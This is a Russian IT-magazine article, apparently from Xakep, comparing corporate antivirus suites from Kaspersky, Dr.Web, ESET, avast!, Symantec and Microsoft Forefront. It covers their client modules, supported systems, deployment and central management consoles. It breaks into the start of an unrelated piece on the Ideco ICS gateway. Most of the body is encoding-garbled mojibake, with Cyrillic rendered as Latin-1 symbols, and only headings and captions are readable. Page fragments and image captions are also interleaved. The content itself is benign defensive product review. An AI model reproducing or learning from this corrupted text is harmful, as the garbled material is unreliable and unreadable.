çàùèòû îò âèðóñîâ, ðóòêèòîâ è øïèîíñêèõ ìîäóëåé. Òàêæå â ñòàíäàðò-

íóþ ïîñòàâêó âõîäèò ôèëüòð ïî÷òû è âåá-ñòðàíèö. Ìîäóëü ThreatSense 
ìîæåò èíòåãðèðîâàòüñÿ â íåêîòîðûå ïî÷òîâûå êëèåíòû (MS Outlook, 
Thunderbird, The Bat! è äðóãèå).
Â âåðñèè Smart Security ê óêàçàííûì âûøå ìîäóëÿì äîáàâëÿþòñÿ ïåðñî-
íàëüíûé ôàéåð è àíòèñïàì. Ôàéåðâîë, ïðîâåðÿÿ ñåòåâûå ñîåäèíåíèÿ, 

îïðåäåëÿåò è áëîêèðóåò íåêîòîðûå òèïû àòàê, îòñëåæèâàåò èçìåíåíèÿ â 
èñïîëíÿåìûõ ôàéëàõ è â ñëó÷àå ðàñõîæäåíèÿ çàïðåùàåò ñîåäèíåíèå äî 
ïðèíÿòèÿ ðåøåíèÿ ïîëüçîâàòåëåì. Â êà÷åñòâå êëèåíòñêèõ ñèñòåì ìîãóò 
âûñòóïàòü 32 è 64-áèòíûå âåðñèè Windows îò 2000 äî Se7en (âêëþ÷àÿ 
è ðåäàêöèþ Server), à òàêæå Linux/BSD/Solaris è Novell Netware. Öåí-
òðàëèçîâàííîå óïðàâëåíèå îñóùåñòâëÿåòñÿ ñ êîíñîëè ESET Remote 
Administrator.

avast! Enterprise Suite
Ïðîäóêò êîìïàíèè ALWIL Software, çàíèìàþùåéñÿ ðàçðàáîòêîé èçâåñò-

íîãî àíòèâèðóñà avast! Free antivirus. Îñíîâó êîðïîðàòèâíîé âåðñèè 
ñîñòàâëÿåò àíòèâèðóñ avast! Professional Edition (èëè NetClient Edition äëÿ 

èñïîëüçîâàíèÿ ñ óòèëèòîé óïðàâëåíèÿ ADNM), êîòîðûé ïðåäíàçíà÷åí 
äëÿ çàùèòû ðàáî÷èõ ñòàíöèé îò âèðóñîâ, ðóòêèòîâ è øïèîíñêîãî ÏÎ. 

Êðîìå ýòîãî, â êëèåíòå ðåàëèçîâàíà ïðîâåðêà âõîäÿùåé è èñõîäÿùåé 
ïî÷òû, P2P è IM-òðàôèêà, áëîêèðîâêà ïîòåíöèàëüíî îïàñíûõ ñêðèïòîâ 
íà âåá-ñòðàíèöàõ. Ìîäóëü Network Shield, âõîäÿùèé â ñîñòàâ êëèåíòà, 

îáåñïå÷èâàåò çàùèòó îò íåêîòîðûõ ñåòåâûõ àòàê. Ïîääåðæèâàþòñÿ âñå íå 
ñåðâåðíûå âåðñèè Windows îò 95 äî Vista, â òîì ÷èñëå è 64-áèòíûå ðåäàê-
öèè. Óñòàíîâùèê àâòîìàòè÷åñêè îïðåäåëÿåò ðàçðÿäíîñòü ÎÑ. Äëÿ çàùèòû 
îñòàëüíûõ êîìïîíåíòîâ ñåòè èñïîëüçóþòñÿ ñîîòâåòñòâóþùèå ïðèëîæå-
íèÿ, óñòàíàâëèâàåìûå îòäåëüíî: ñåðâåðà Windows (ñ ïëàãèíàìè Exchange, 

ISA, Sharepoint è ò.ä.) è Linux/Unix, ìîäóëè ïîääåðæêè Kerio è PDA.
Óïðàâëåíèå îñóùåñòâëÿåòñÿ öåíòðàëèçîâàííî ñ êîíñîëè avast! Distributed 
Network Manager (ADNM).

Symantec Endpoint Protection
SEP — ïîòîìîê çíàìåíèòîãî Norton Antivirus. Ïàêåò îáåñïå÷èâàåò çàùèòó 

ðàáî÷èõ ñòàíöèé, íîóòáóêîâ è ñåðâåðîâ, ðàáîòàþùèõ ïîä óïðàâëåíèåì 
32/64-áèòíûõ Win 2k — Se7en (êëèåíòñêèå è ñåðâåðíûå), Linux, Novell 
Open Enterprise Server (OES/OES2) è VMWare ESX. Êëèåíò, óñòàíàâëèâàå-
ìûé íà ðàáî÷èå ñòàíöèè è ñåðâåðà, èìååò ïîëíûé íàáîð ìîäóëåé çàùèòû: 

àíòèâèðóñ, àíòèøïèîí, ôàéåðâîë, IPS è êîíòðîëü ïðèëîæåíèé. Èíñòðó-
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ìåíò VxMS (Veritas Mapping Service) ïîçâîëÿåò 
îáíàðóæèâàòü ðóòêèòû; ïðîàêòèâíûé ìîäóëü 
Proactive ThreatScan àíàëèçèðóåò ïîâåäåíèå 
ïðèëîæåíèé è â ñëó÷àå îáíàðóæåíèÿ îòêëî-
íåíèé áëîêèðóåò âûïîëíåíèå îïàñíîãî êîäà. 
Àäìèíèñòðàòîð, äèðèæèðóÿ ïîëèòèêàìè èç 
êîíñîëè Symantec Endpoint Protection Manager, 
óïðàâëÿåò íå òîëüêî íàñòðîéêàìè ñêàíèðîâà-
íèÿ è îáíîâëåíèÿ ìîäóëåé, íî è äîñòóïîì ïîëü-
çîâàòåëåé ê ôàéëàì, êàòàëîãàì è ïðîãðàììàì, 
êîíòðîëèðóåò öåëîñòíîñòü ñèñòåìû, çàïèñè 
ðååñòðà. Ïî îòäåëüíîé ëèöåíçèè ïðåäëàãàåòñÿ 
ìîäóëü Network Access Control, ïðîâåðÿþùèé 

ñèñòåìû íà ñîîòâåòñòâèå óñòàíîâëåííûì ïîëè-
òèêàì è íà îñíîâå èõ ñîñòîÿíèÿ ðàçðåøàþùèé 

äîñòóï ê ðåñóðñàì ñåòè. Òåïåðü ðàññìîòðèì, ÷òî 

íåîáõîäèìî äëÿ ðàçâåðòûâàíèÿ è óïðàâëåíèÿ 
ïðåäñòàâëåííûìè àíòèâèðóñàìè. Çäåñü òàêæå 
åñòü ñâîè îñîáåííîñòè.

РАЗВЕРТЫВАНИЕ И УПРАВЛЕНИЕ
Kaspersky Open Space Security
Íà÷íåì ñ ïðîäóêòà Ëàáîðàòîðèè Êàñïåðñêîãî. 
Öåíòðàëèçîâàííîå óïðàâëåíèå îñóùåñòâ-
ëÿ åò  ñÿ ïðè ïîìîùè èíñòðóìåíòà Kaspersky 
Administration Kit, â ñîñòàâ êîòîðîãî âõîäèò 
êîíñîëü óïðàâëåíèÿ (ëîêàëèçîâàííàÿ), àãåíò 
óïðàâëåíèÿ (óñòàíàâëèâàåòñÿ íà êàæäóþ ñèñòå-
ìó) è ñåðâåð àäìèíèñòðèðîâàíèÿ. Íà ïîñëåäíå-

ãî, ñîáñòâåííî, è âîçëàãàþòñÿ âñå ôóíêöèè ïî 
óïðàâëåíèþ ðàáîòîé àãåíòîâ, ñáîð èíôîðìàöèè 

îá èõ ñîñòîÿíèè, îáíîâëåíèå àíòèâèðóñíûõ 

áàç è õðàíåíèå íàñòðîåê. Ïðè÷åì â ñåòè ìîæåò 
ðàáîòàòü íåñêîëüêî ñâÿçàííûõ ìåæäó ñîáîé ñåð-
âåðîâ àäìèíèñòðèðîâàíèÿ, ïîýòîìó î÷åíü ëåãêî 
ðàñïðåäåëèòü íàãðóçêó ñåðâåðîâ â áîëüøèõ ðàç-
âåòâëåííûõ ñåòÿõ. Âñå óïðàâëåíèå ïðîèçâîäèòñÿ 
ñ åäèíîé êîíñîëè. Äëÿ óñòàíîâêè ïðîãðàìì àä-
ìèíèñòðàòîð êîïèðóåò äèñòðèáóòèâû íà ñåðâåð, 
à çàòåì ðàñïðîñòðàíÿåò íà îñòàëüíûå ñèñòåìû; 
òàêæå ïðåäëàãàåòñÿ òðàäèöèîííûé (ðó÷íîé) 
âàðèàíò óñòàíîâêè.
Äëÿ ðàçâåðòûâàíèÿ ñåðâåðà ïîíàäîáèòñÿ êîì-
ïüþòåð ïîä Win 2k/2k3/2k8/XP/Vista, à òàêæå 
áàçà äàííûõ MS SQL Server, MSDE/Express èëè 
MySQL. Óñòàíîâî÷íûé ïàêåò ñàìîäîñòàòî÷åí, 
ïîýòîìó MSDE è âñå íåîáõîäèìûå áèáëèîòåêè 
áóäóò èíñòàëëèðîâàíû èç îäíîãî ôàéëà.
Îáðàòè âíèìàíèå íà íàëè÷èå â ñïèñêå äåñêòîï-
íûõ âåðñèé ÎÑ — ýòî ïîçâîëÿåò â íåáîëüøèõ 
ñåòÿõ èñïîëüçîâàòü ïîä ñåðâåð ìàëîíàãðóæåí-
íóþ ðàáî÷óþ ñòàíöèþ. Äëÿ óäîáñòâà àäìè-
íèñòðèðîâàíèÿ áîëüøèì êîëè÷åñòâîì ñèñòåì 
èñïîëüçóåòñÿ êîíöåïöèÿ ëîãè÷åñêîé ñåòè, â 
êîòîðîé êàæäàÿ ãðóïïà ñèñòåì èìååò ñâîè 
íàñòðîéêè. Ïî óìîë÷àíèþ åå êîíôèãóðàöèÿ 
ñîâïàäàåò ñ ôèçè÷åñêîé, íî ýòî íåîáÿçàòåëü-
íî — ìîæíî ëåãêî âûäåëèòü ñèñòåìû â ãðóïïó 
ïî îïðåäåëåííîìó êðèòåðèþ. Òàêæå õî÷åòñÿ 
îòìåòèòü íàëè÷èå ìàñòåðîâ ïåðâîíà÷àëüíîé 
íàñòðîéêè è óäàëåííîé óñòàíîâêè, êîòîðûå 
ïîçâîëÿþò ñ õîäó ïðîèçâåñòè íóæíûå íàñòðîé-
êè è ðàçâåðíóòü ñèñòåìó çàùèòû, íå ðàçáèðàÿñü 
ñ èíòåðôåéñîì êîíñîëè.

Dr.Web Enterprise Suite
Êàê îòìå÷àëîñü ðàíåå, ðàçðàáîò÷èêè Dr.Web 
ïîøëè íåñêîëüêî äðóãèì ïóòåì; èõ ïðîäóêò 
— ýòî åäèíîå ðåøåíèå, âêëþ÷àþùåå ñåðâåð è 

àãåíò. Ñåðâåðíàÿ ÷àñòü ñîñòîèò èç àíòèâèðóñ-
íîãî ñåðâåðà, êîíñîëè àäìèíèñòðàòîðà è SQL 
ñåðâåðà. Íàçíà÷åíèå êîìïîíåíòîâ ñîâïàäàåò 

ñ Kaspersky Administration Kit. Â ñåòè ìîæíî 
ðàçâåðíóòü íåñêîëüêî ñåðâåðîâ, îáúåäèíåííûõ 
â èåðàðõè÷åñêóþ ñòðóêòóðó è âçàèìîäåéñòâóþ-
ùèõ ìåæäó ñîáîé. Óïðàâëåíèå îñóùåñòâëÿåòñÿ 
èç åäèíîé êîíñîëè (ëîêàëüíîé èëè âåá), êóäà 

òàêæå âûâîäèòñÿ èíôîðìàöèÿ î ñîñòîÿíèè 
àãåíòîâ.
Ñåðâåðíàÿ ÷àñòü ïîñòðîåíà ñ èñïîëüçîâàíèåì 

Java, è ñåãîäíÿ âîçìîæíà óñòàíîâêà íà Windows 
2k/XP/2k3/2k8, Linux, FreeBSD è Solaris. Â 

Интерфейс консоли Kaspersky Administration Kit

Microsoft Forefront 
Client Security
Ðûíîê êîðïîðàòèâíûõ àíòèâèðóñîâ î÷åíü åìêèé, ïîýòîìó ïîñòîÿííî ïðèòÿãèâà-
åò íîâûõ èãðîêîâ. Îòíîñèòåëüíî íåäàâíî â ëèíåéêå ïðîäóêòîâ Microsoft Forefront 
ïîÿâèëñÿ íîâûé êîìïîíåíò Microsoft Forefront Client Security (ðàíåå Microsoft 
Client Protection, microsoft.com/forefront/clientsecurity/ru/ru), ïðåäíàçíà÷åí-
íûé äëÿ çàùèòû îò âðåäîíîñíîãî ÏÎ íà ðàáî÷èõ ñòàíöèÿõ ïîëüçîâàòåëåé è ñåðâå-
ðàõ â êîðïîðàòèâíîé ñåòè. Êëèåíò âêëþ÷àåò àíòèâèðóñíóþ çàùèòó, àíòèøïèîí, 
ïðîâåðêó ñîîòâåòñòâèÿ ïîëèòèêàì. Ïðîäóêò áàçèðóåòñÿ íà ðàííèõ íàðàáîòêàõ 
— Windows Defender è OneCare, òàê ÷òî îí íå âîçíèê «èç íè÷åãî» — ïðåæäå ÷åì 
ïîïàñòü íà «êîðïîðàòèâ», òåõíîëîãèè îáêàòûâàëèñü.
Â êà÷åñòâå ñåðâåðà óïðàâëåíèÿ è îò÷åòîâ èñïîëüçóåòñÿ Win2k3/Win2k8, êëèåíò-
ñêèå ñèñòåìû — Win 2k+. Ìîæíî îòìåòèòü î÷åíü ïðîñòîå óïðàâëåíèå ýòèì ïðîäóê-
òîì (èç åäèíîé êîíñîëè) è ïîëó÷åíèå èíôîðìàöèè â âèäå îò÷åòîâ. Èíòåãðèðîâàí ñ 
îñòàëüíûìè êîìïîíåíòàìè Microsoft. Òàê îáíîâëåíèå áàç è ìîäóëåé ïðîèçâîäèò-
ñÿ ïîñðåäñòâîì Windows Update (ìîæíî èñïîëüçîâàòü WSUS), óñòàíîâêà àãåíòîâ 
— ñ ïîìîùüþ GPO.
Â îñòàëüíîì âñå îáçîðû ïðàêòè÷åñêè åäèíîäóøíî óêàçûâàþò íà òî, ÷òî ïî îñíîâ-
íûì ôóíêöèÿì îí ïîêà ïðîèãðûâàåò áðåíäàì, âûñòóïàþùèì íà ýòîì ðûíêå. Õîòÿ 
ñòîèò ïîìíèòü, ÷òî ýòî òîëüêî ïåðâàÿ ïîïûòêà.
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êà÷åñòâå ÑÓÁÄ ïîäêëþ÷àåòñÿ âñòðîåííàÿ IntDB áàçà äàííûõ 
(ïîäõîäèò äëÿ ñåòåé ìàëîãî è ñðåäíåãî ðàçìåðà) èëè MS SQL 
Server CE, Oracle (ëèáî ëþáàÿ äðóãàÿ ÷åðåç ODBC), â Linux 
ïîääåðæèâàåòñÿ PostgreSQL.
Ñàìà êîíñîëü óïðàâëåíèÿ ñ ÷åòâåðòîé âåðñèè ïðàêòè÷åñêè 
íå èçìåíèëàñü. Íåêîòîðûå çàäàíèÿ, ÷òîáû íå èñêàòü èõ â 
ñïèñêå, ìîæíî âûçûâàòü èç êîíòåêñòíîãî ìåíþ ùåë÷êîì ïî 
èêîíêå â òðåå. Âåá-èíòåðôåéñ â áàçîâûõ îïåðàöèÿõ çàìåòíî 
óäîáíåå êîíñîëè, îñîáåííî äëÿ ñáîðà äàííûõ î ñîñòîÿíèè 
àãåíòîâ. ×òîáû ê íåìó ïîäêëþ÷èòüñÿ, ñëåäóåò ââåñòè â áðàó-
çåðå àäðåñ ñåðâåðà è ïîðò 9080/9081 (HTTP/HTTPS). Áðàóçåð 
äîëæåí ïîääåðæèâàòü âûïîëíåíèå Java.

ESET NOD32 Smart Security Business Edition
Äëÿ öåíòðàëèçîâàííîãî àäìèíèñòðèðîâàíèÿ ïðîäóêòîâ 
ESET èñïîëüçóåòñÿ Remote Administrator (ERA), ñîñòîÿùèé 
èç ñåðâåðà (ERAS) è êîíñîëè óïðàâëåíèÿ (ERAC), ïîñòàâëÿå-
ìûõ îòäåëüíûìè äèñòðèáóòèâàìè. Èõ îñíîâíîå íàçíà÷åíèå 
ñîâïàäàåò ñ ðåøåíèÿìè, îïèñûâàåìûìè ðàíåå. Ñåðâåð 
îáåñïå÷èâàåò íåïîñðåäñòâåííîå óïðàâëåíèå êëèåíòàìè 
è ñáîð äàííûõ, äîïîëíèòåëüíî ìîæåò ÿâëÿòüñÿ çåðêàëîì 
îáíîâëåíèé. Â ñåòè ìîæåò áûòü óñòàíîâëåíî íåñêîëüêî ERAS, 
êîòîðûå ðåïëèöèðóþò íàñòðîéêè íà îñíîâíîé ñåðâåð.

Ëîêàëèçîâàííàÿ êîíñîëü ïîçâîëÿåò óïðàâëÿòü óäàëåííîé óñ-
òàíîâêîé àíòèâèðóñà, ïðåäâàðèòåëüíî îïðåäåëèâ êîíôèãó-

ðàöèè äëÿ ïàêåòîâ; ïðåäïèñûâàòü íàñòðîéêè, îòïðàâëÿåìûå 
êëèåíòàì; ñîçäàâàòü ïîëèòèêè è ïîëó÷àòü îò÷åòû. Êëèåíòû, 

óñòàíîâëåííûå îáû÷íûì îáðàçîì, ïîäêëþ÷àþòñÿ â «Íà-
ñòðîéêè - Äîïîëíèòåëüíûå íàñòðîéêè - Ðàçíîå - Óäàëåííîå 

àäìèíèñòðèðîâàíèå». Ïðîñòî îòìå÷àåì ôëàæîê «Ïîäêëþ-
÷èòüñÿ ê ESET Remote Administrator Server» è óêàçûâàåì àäðåñ 
è ïîðò (ïî óìîë÷àíèþ 2222) ñåðâåðà. ×åðåç íåêîòîðîå âðåìÿ 
êëèåíò ïîÿâèòñÿ â îêíå êîíñîëè ERAC.
Àäìèíèñòðàòîð îïðåäåëÿåò, êàêèå äàííûå êëèåíò ïåðåäàåò 

íà ñåðâåðà àâòîìàòè÷åñêè, à êàêèå — òîëüêî ïî çàïðîñó. 
Ðåäàêòîð êîíôèãóðàöèé ïîçâîëÿåò óêàçàòü ëþáûå óñòà-
íîâêè äëÿ ðåøåíèé ESET ñ âîçìîæíîñòüþ ýêñïîðòà â ôàéë 

XML-ôîðìàòà, îíè ìîãóò áûòü èñïîëüçîâàíû äëÿ ðåçåðâè-
ðîâàíèÿ íàñòðîåê, èìïîðòà â ERAC èëè êîíôèãóðèðîâàíèÿ 
ëîêàëüíîãî êëèåíòà. Ïðåäóñìîòðåí èìïîðò ãðóïï èç Active 
Directory. Ñëåäóåò îòìåòèòü íàëè÷èå ESET SysInspector, 
êîòîðûé ïîìîãàåò ñîáðàòü äàííûå î ñèñòåìå (äðàéâåðà, 

ïðèëîæåíèÿ, ñåòåâûå ñîåäèíåíèÿ è ò.ä.), è ESET SysRescue, 
ïðåäíàçíà÷åííîãî äëÿ ñîçäàíèÿ ñïàñàòåëüíîãî äèñêà ñ àíòè-
âèðóñîì NOD32 (ïîíàäîáèòñÿ WAIK, ïîäðîáíåå î íåì ñìîòðè 

â ñòàòüå «Ñàìîñáîðíûå îêíà» â ][ 01.2009). Âîçìîæíîñòåé 
ó ERAC î÷åíü ìíîãî, ïîýòîìó ïðèäåòñÿ ïîòðàòèòü êàêîå-òî 
âðåìÿ íà èçó÷åíèå åãî îñîáåííîñòåé. Äëÿ óñòàíîâêè ERAS 
ïîíàäîáèòñÿ êîìïüþòåð ïîä Windows îò NT4 äî 2k8/Se7en 

(ðàáîòàåò êàê ñëóæáà), äëÿ êîíñîëè ñïèñîê ÎÑ àíàëîãè÷åí, 
òîëüêî îòñóòñòâóåò NT4. Â êà÷åñòâå áàçû äàííûõ ïî óìîë÷à-
íèþ ïðåäëàãàåòñÿ âñòðîåííàÿ MS Access, êàê âàðèàíò — MS 
SQL Server, Oracle èëè MySQL. Óäîáíî, ÷òî ëèöåíçèÿ äëÿ ERAS 
íå òðåáóåòñÿ (ëèöåíçèðóþòñÿ òîëüêî êëèåíòñêèå ñèñòåìû), 
ïîýòîìó ïðè íåîáõîäèìîñòè ìîæíî ñîâåðøåííî ñâîáîäíî 
ðàçâåðíóòü ëþáîå èõ êîëè÷åñòâî.

avast! Enterprise Suite
Ñåðäöåì êîíñîëè óïðàâëåíèÿ àíòèâèðóñàìè avast! ADNM 
ÿâëÿåòñÿ Management Server, ê êîòîðîìó ïîäêëþ÷àþòñÿ 
êëèåíòû äëÿ ïîëó÷åíèÿ îáíîâëåíèé è íîâûõ ïîëèòèê. 
×òîáû óñòàíîâèòü òàêîé ñåðâåð, ïîíàäîáèòñÿ êîìïüþòåð 
ñ 32/64-áèòíîé âåðñèåé WinNT/2k/XP/2k3/Vista/2k8. Â 

áîëüøèõ ñåòÿõ âîçìîæíî èñïîëüçîâàíèå íåñêîëüêèõ MS ñî 
ñâîèìè SQL'íûìè áàçàìè äàííûõ. Ïðè ýòîì ïðåäóñìîòðåíî 

äâà âàðèàíòà âçàèìîäåéñòâèÿ: ðåïëèêàöèÿ íàñòðîåê èëè 
èñïîëüçîâàíèå öåíòðàëüíîãî (dedicaded) ñåðâåðà. Óñòàíî-

âî÷íûé äèñòðèáóòèâ âêëþ÷àåò MSDE 2000 (äîñòàòî÷íî äëÿ 
ñåòè äî 1000 ñèñòåì), âìåñòî íåãî ìîæíî èñïîëüçîâàòü ïîë-

íîöåííûé MS SQL Server 2k/2k5 (â òîì ÷èñëå è 2k5 Express 
Edition). Òàêæå àäìèíèñòðàòîð ìîæåò âûáðàòü îäèí èç äâóõ 

ìåòîäîâ âçàèìîäåéñòâèÿ ñåðâåðà ñ êëèåíòñêèìè ñèñòåìà-
ìè: PUSH è POP. Òî åñòü, êîãäà ñåðâåð óïðàâëÿåò êëèåíòàìè 
ïðèíóäèòåëüíî, îïðàøèâàÿ èõ ñîñòîÿíèå, èëè êëèåíòû ñàìè 

ïåðèîäè÷åñêè ïîäêëþ÷àþòñÿ ê ñåðâåðó çà íàñòðîéêàìè. 
Ñåðâåð ðàáîòàåò â êà÷åñòâå ñåðâèñà (AMS service, AvEngine.
exe) è, ïî ñóòè, ÿâëÿåòñÿ äîïîëíèòåëüíûì ïðîñëóøèâàòåëåì 
HTTP/S ïðîòîêîëà (ïîäêëþ÷àåòñÿ ê ïðîöåññó httpd.exe). 
Èñïîëüçîâàíèå ñòàíäàðòíîãî ïîðòà óïðîùàåò àäìèíèñòðè-

ðîâàíèå è äîñòóï ÷åðåç çàêðûòûå ôàéåðîì ñåòè. 
Ïðîãðàììà óñòàíîâêè èíòóèòèâíî ïîíÿòíà è ëîêàëèçî-
âàíà. Â áîëüøèíñòâå ñëó÷àåâ äîñòàòî÷íî óêàçàòü âàðèàíò 

«Íîðìàëüíàÿ», è âñå íåîáõîäèìîå áóäåò óñòàíîâëåíî àâòî-
ìàòè÷åñêè, âêëþ÷àÿ ïàêåòû äëÿ ïîääåðæêè ðóññêîãî ÿçûêà. 
Íà ýòàïå çàïðîñà ëèöåíçèè íàæèìàåì «Äåìî» — íóæíûå 
ëèöåíçèè áóäóò ñãåíåðèðîâàíû àâòîìàòè÷åñêè. Òàêæå íà 
ýòàïå óñòàíîâêè ñîçäàåòñÿ çåðêàëî àíòèâèðóñíûõ áàç, çà 

îñíîâó áåðåòñÿ îôñàéò avast! èëè óæå èìåþùèéñÿ ñåðâåð 
óïðàâëåíèÿ. Ïî óìîë÷àíèþ óñòàíàâëèâàåòñÿ ó÷åòíàÿ çàïèñü 
Administrator ñ ïàðîëåì admin.

Веб-консоль управления Dr.Web 
Enterprise Suite

На прилагаемом к 
журналу диске ты 
найдешь видеоролик, 
посвященный уста-
новке и настройке 
ESET NOD32 SSBE.

dvd

DVD

Редактор конфигураций ERAC

• Сайт Лаборато-
рии Касперского - 
kaspersky.ru

• Сайт Доктор Веб — 
drweb.com

• Сайт ESET NOD32 — 
esetnod32.ru

• Сайт avast! — avast.
com/ru-ru

• Сайт Symantec — 
symantec.com/ru

links

HTTP://WWW

warning 

MSDE 2000 не под-
держивает 64-битные 
версии ОС.

WARNING
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Symantec Endpoint Protection
Ñèñòåìà óïðàâëåíèÿ Symantec Endpoint Protection òàêæå ñîñòîèò èç òðåõ 

êîìïîíåíòîâ: Manager (ñåðâåð), Console è Database. Â ñåòè ìîæåò ðàáî-
òàòü íåñêîëüêî Manager'îâ, îáìåíèâàþùèõñÿ ïîëèòèêàìè ñ ðîäèòåëü-

ñêèì ñåðâåðîì. Â êà÷åñòâå ÎÑ äëÿ óñòàíîâêè ñåðâåðíîé ÷àñòè ïîäõîäÿò 
Win2k/XP/2k3/2k8 (32/64-bit). Êîíñîëü óïðàâëåíèÿ, ïîìèìî ýòèõ 

ñèñòåì, ìîæåò áûòü óñòàíîâëåíà íà Vista/Se7en. Â êîìïëåêòå ñ ïðîãðàì-
ìîé óñòàíîâêè èäåò âñòðîåííàÿ SQL'íàÿ áàçà äàííûõ (íà îñíîâå Sybase), 
êîòîðóþ ðåêîìåíäóåòñÿ èñïîëüçîâàòü ïðè ïîäêëþ÷åíèè äî 100 êëèåíòîâ 
(îíà ñòàâèòñÿ àâòîìàòîì ïðè âûáîðå ðåæèìà èíñòàëëÿöèè «Ïðîñòîé»). 
Ïðè íàëè÷èè áîëüøåãî êîëè÷åñòâà ñèñòåì ðåêîìåíäóåòñÿ çàäåéñòâîâàòü 

ïîëíîôóíêöèîíàëüíûé SQL-ñåðâåð — MS SQL Server 2kSP4/2k5SP2/2k8.
Äëÿ ðàáîòû ñåðâåðíîé ÷àñòè ïîòðåáóåòñÿ íàëè÷èå ðîëè IIS, êîòîðóþ íåîá-
õîäèìî óñòàíîâèòü äî ðàçâåðòûâàíèÿ Manager. Âñå êîìïîíåíòû ñîáðàíû â 

åäèíûé àðõèâ (âåñîì 510 Ìá), êîòîðûé äîñòóïåí íà îôñàéòå. Ñêà÷àòü åãî 
ìîæíî òîëüêî ïðè ïîìîùè ñïåöèàëüíîãî Java-ïðèëîæåíèÿ, çàïóñêàþùå-
ãîñÿ àâòîìàòè÷åñêè ïðè íàæàòèè ññûëêè (è ðåãèñòðàöèè). Ñàì ïðîöåññ óñ-
òàíîâêè íå äîëæåí âûçâàòü ïðîáëåì, áóäåò ïîíÿòåí äàæå íîâè÷êó. Êðîìå 
ýòîãî åñòü î÷åíü óäîáíûå ìàñòåðà è èíñòðóìåíòû. Òàê, ìàñòåð ïåðåíîñà 

è ðàçâåðòûâàíèÿ, êîòîðûé ñòàðòóåò ñðàçó ïîñëå èíñòàëëÿöèè, ïîìîãàåò 
áûñòðî óñòàíîâèòü àíòèâèðóñ íà êëèåíòñêèõ ñèñòåìàõ, ïåðåíåñòè ãðóïïû 
è ïîëèòèêè ñ ðîäèòåëüñêèõ ñåðâåðîâ SEP. Â áîëüøèõ ñåòÿõ âðó÷íóþ 

ðàññîðòèðîâàòü êëèåíòñêèå ñèñòåìû âåñüìà íåïðîñòî — çäåñü íà ïîìîùü 
ïðèõîäÿò èíñòðóìåíòû Symantec'îâñêîé êîíñîëè. Â êðèòåðèÿõ îòáîðà ñèñ-
òåì ìîæíî çàäàâàòü äî 30 ïàðàìåòðîâ: èìÿ êîìïüþòåðà, IP-àäðåñ, ÷àñòîòà 
CPU, âåðñèÿ BIOS è òàê äàëåå.

ПОДВОДИМ ИТОГИ
Êàê âèäèì, ïðåäñòàâëåííûå ðåøåíèÿ îòëè÷àþòñÿ ïî ìíîãèì ïàðàìåòðàì, 

è â ïåðâóþ î÷åðåäü áðîñàåòñÿ â ãëàçà ðàçíûå ôóíêöèîíàëüíûå âîçìîæ-
íîñòè êëèåíòñêèõ ìîäóëåé, ñïèñîê ïîääåðæèâàåìûõ ÎÑ è îñîáåííîñòè 
óïðàâëåíèÿ. Ïîýòîìó ïåðåä âûáîðîì ñâîåãî ðåøåíèÿ ñëåäóåò âíèìàòåëü-
íî îöåíèòü èìåþùèåñÿ ðåñóðñû, à çàòåì âûáðàòü íàèáîëåå ïðèåìëåìûé 

âàðèàíò.z

Консоль управления avast! ADNM

Настройка политик в Symantec Endpoint Console
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Сетевой шлюз. Как будешь поднимать его ты? Привыкнув к одному спо-
собу, зачастую начинаешь все делать по старинке, не замечая прогрес-
сивные и современные решения. Это я знаю по себе. В результате кос-
тыльное решение — здесь, велосипед — там. В определенный момент 
мне надоело ковыряться в конфигах и чужих непонятных сборках. Было 
решено, наконец, подобрать для себя решение, которое я без опаски и 
мороки смогу использовать везде: дома и у своих клиентов. Так я открыл 
для себя Интернет-шлюз Ideco ICS. 

Центр 
сетевого контроля

Íèêîãäà áû íå ïîäóìàë, ÷òî ñìîãó íàéòè ÷òî-òî 
ïîëåçíîå ñ ïîìîùüþ êîíòåêñòíîé ðåêëàìû. 
Íî êàê-òî íàæàâ íà ðåêëàìíóþ ññûëêó â îäíîì 

èç áëîãîâ ñèñòåìíîãî àäìèíèñòðàòîðà (ìíå 
íå ñëîæíî, à õîðîøåìó ÷åëîâåêó çà ýòî — 

êîïåå÷êà),  ÿ îêàçàëñÿ íà ñòðàíèöå Ideco. Èäåÿ 
îáùàòüñÿ ñ êîììåð÷åñêèìè ðåøåíèÿìè (òî, 

÷òî çà ïðîäóêò ðàçðàáîò÷èêè ïðîñÿò äåíüãè 
— î÷åâèäíî) ìåíÿ íå ïðåëüùàëà, íî ïðèêîëü-

íûé âèäåîêàñò ïðî Äîáðûíþ âñå æå çàìàíèë 
ìåíÿ çàéòè â ðàçäåë çàãðóçîê. Íåïëîõàÿ èäåÿ 
ðàçðàáîò÷èêîâ, ÷òîáû óïðîñòèòü ïðîöåññ òåñ-
òèðîâàíèÿ — íà ñàéòå åñòü ãîòîâûé ïðîåêò äëÿ 
çàïóñêà Ideco ICS â âèðòóàëüíîì îêðóæåíèè ñ 

ïîìîùüþ VMware Player. Íó, ðàç òàê, òî ïî÷åìó 
áû è íå ïîïðîáîâàòü. 

СДЕЛАТЬ САМОМУ 
ИЛИ ПОСТАВИТЬ СБОРКУ?
Ãîòîâûå ðåøåíèÿ íà áàçå Linux, çàòî÷åííûå 
äëÿ óïðàâëåíèÿ èíòåðíåòîì, ðàçðàáàòûâàþòñÿ 
óæå äàâíî. Òàêèå ñáîðêè à-ëÿ «ïîñòàâèë è çàðà-

áîòàëî» ïîëüçóþòñÿ áîëüøîé ïîïóëÿðíîñòüþ 
ó àäìèíîâ, ïðè÷åì, ïî ìîèì íàáëþäåíèÿì, 
êàê ó ñàìûõ ìàòåðûõ àäìèíèñòðàòîðîâ, òàê è ó 

íà÷èíàþùèõ. Ïîìíèòñÿ, â áîðîäàòûå âðåìåíà 
ÿ äàæå ïîëüçîâàëñÿ êàêèì-òî óðåçàííûì 
äèñòðèáóòèâîì ôðÿõè, êîòîðûé çàïóñêàëñÿ ñ 
äèñêåòû :). Êîíå÷íî, åñòü ïðîòèâíèêè òàêèõ 

ðàáîòàþùèõ ðåøåíèé èç êîðîáêè, êîòîðûå 
ñ÷èòàþò, ÷òî ïðîùå âçÿòü Ñëàêó, Äåáèàí è 
íåçíàìî ÷òî åùå, à ïîòîì ìåòîäè÷íî ñîáèðàòü 
âñå ñàìîìó. Èõ ïðàâî, íî ó ìåíÿ âîçìîæíîñòè 
äîëãî êîâûðÿòüñÿ ñ îäíèì òîëüêî øëþçîì 
íåò — âðåìÿ äîðîæå. Äðóãîé âîïðîñ, ÷òî åñòü 
öåëûé ðÿä àëüòåðíàòèâíûõ ðåøåíèé, ïîçâî-
ëÿþùèõ ðàçâåðíóòü øëþç, è îíè... áåñïëàòíû! 
